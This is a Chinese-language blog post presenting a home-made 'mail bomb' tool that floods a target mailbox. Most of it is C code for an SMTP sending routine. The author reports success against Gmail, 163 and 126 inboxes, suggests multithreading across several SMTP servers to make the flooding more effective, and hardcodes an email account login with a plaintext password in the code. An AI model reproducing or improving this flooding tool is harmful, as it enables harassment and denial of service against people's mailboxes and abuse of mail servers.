前段時間有個網絡安全實驗,因為這邊我在做信息安全的一個國賽,沒有參加,別人做完了,做了一個郵件炸彈,我覺得蠻有意思的,於是就自己寫了一個,MFC做的,結果是攻擊某些郵箱可以(gmail,163,126),有些不行(QQ郵箱會把發的郵件直接放到垃圾箱裡,我想可能是加了自己的一個包過濾機制,類似防火牆的東西),ok,下面我就開始說說我做的郵件炸彈吧,歡迎大家拍磚~~~~~~~~
首先,展示一下郵件炸彈的界面:
輸入郵件炸彈需要到達的郵箱地址,開始執行,向目標地址,發送郵件,我只寫了一個線程,發送郵件,如果想效果更好的話,你可以修改源碼,多建幾個線程登陸多個SMTP服務器,同時發送郵件,這樣效果更好。。。
我的發送郵件的主要的函數是sendemail實現的:
- void sendemail(char *email,char *body,char *smtpip)
- {
- int sockfd = 0;
- struct sockaddr_in their_addr = {0};
- char buf[1500] = {0};
- char rbuf[1500] = {0};
- char login[128] = {0};
- char pass[128] = {0};
- #ifdef WIN32
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2, 2), &WSAData);
- #endif
- memset(&their_addr, 0, sizeof(their_addr));
- their_addr.sin_family = AF_INET;
- their_addr.sin_port = htons(25);
- their_addr.sin_addr.s_addr = inet_addr(smtpip);//smtp 服務器
- // 連接郵件服務器,如果連接後沒有響應,則2 秒後重新連接
- sockfd = open_socket((struct sockaddr *)&their_addr);
- memset(rbuf,0,1500);
- while(recv(sockfd, rbuf, 1500, 0) == 0)
- {
- printf("reconnect...\n");
- Sleep(2);
- //close(sockfd);
- sockfd = open_socket((struct sockaddr *)&their_addr);
-
- memset(rbuf,0,1500);
- }
-
- printf("%s\n", rbuf);
-
- // EHLO
- memset(buf, 0, 1500);
- sprintf(buf, "EHLO abcdefg-PC\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // AUTH LOGIN
- memset(buf, 0, 1500);
- sprintf(buf, "AUTH LOGIN\r\n");
- send(sockfd, buf, strlen(buf), 0);
- printf("%s\n", buf);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // USER
- memset(buf, 0, 1500);
- sprintf(buf,"[email protected]");//郵箱賬號
- memset(login, 0, 128);
- base64(login, buf, strlen(buf));
- sprintf(buf, "%s\r\n", login);
- send(sockfd, buf, strlen(buf), 0);
- printf("%s\n", buf);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // PASSWORD
- sprintf(buf, "199183");//郵箱密碼
- memset(pass, 0, 128);
- base64(pass, buf, strlen(buf));
- sprintf(buf, "%s\r\n", pass);
- send(sockfd, buf, strlen(buf), 0);
- printf("%s\n", buf);
-
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // MAIL FROM
- memset(buf, 0, 1500);
- sprintf(buf, "MAIL FROM: <[email protected]>\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // RCPT TO 第一個收件人
- sprintf(buf, "RCPT TO:<%s>\r\n", email);
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // DATA 准備開始發送郵件內容
- sprintf(buf, "DATA\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // 發送郵件內容,\r\n.\r\n內容結束標記
- sprintf(buf, "%s\r\n.\r\n", body);
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // QUIT
- sprintf(buf, "QUIT\r\n");
- send(sockfd, buf, strlen(buf), 0);
- memset(rbuf, 0, 1500);
- recv(sockfd, rbuf, 1500, 0);
- printf("%s\n", rbuf);
-
- // VC2005 需要使用
- closesocket(sockfd);
- // close(sockfd);
- #ifdef WIN32
- WSACleanup();
- #endif
- return;
- }